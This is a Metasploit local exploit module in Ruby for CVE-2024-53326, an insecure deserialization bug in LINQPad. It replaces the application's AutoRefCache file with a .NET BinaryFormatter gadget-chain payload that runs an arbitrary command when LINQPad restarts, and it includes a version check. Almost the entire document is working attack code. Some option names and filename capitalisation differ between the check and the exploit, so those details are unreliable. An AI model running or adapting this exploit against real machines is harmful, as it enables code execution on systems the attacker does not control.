📄 LINQPad Insecure Deserialization

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
    
      # includes file?, directory?
      include Msf::Post::File
    
      # includes generate
      include Msf::Util::DotNetDeserialization
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'LINQPad Deserialization Exploit',
            'Description' => %q{
              This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'msutovsky-r7 <[email protected]>',
              'James Williams' # original research
            ],
            'Platform' => 'win',
            'SessionTypes' => [ 'shell', 'meterpreter' ],
            'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]],
            'Privileged' => true,
            'References' => [
              [ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'],
              [ 'CVE', '2024-53326']
            ],
            'DisclosureDate' => '2024-12-03',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK]
            }
          )
        )
        register_options([
          OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']),
          OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']),
          OptBool.new('CLEANUP', [false, 'Restore original cache file when exploit finish'])
        ])
      end
    
      # Simplify pulling the writable directory variable
    
      def check
        if datastore['LINQPAD_PATH'].blank? || !file?(datastore['LINQPAD_PATH'])
          return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist')
        elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
          return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')
        elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
          return Exploit::CheckCode::Unknown('Cannot find cache file')
        elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat')
          return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')
        else
          return Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable')
        end
      end
    
      def exploit
        # generate payload
        dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(
          payload.encoded, # this is the Operating System command to run
          gadget_chain: :TextFormattingRunProperties,
          formatter: :BinaryFormatter
        )
        # try to overwrite cache file
        fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload)
    
        # add cleanup option
        register_file_for_cleanup(datastore['CACHE_PATH']) if datastore['CLEANUP']
      end
    end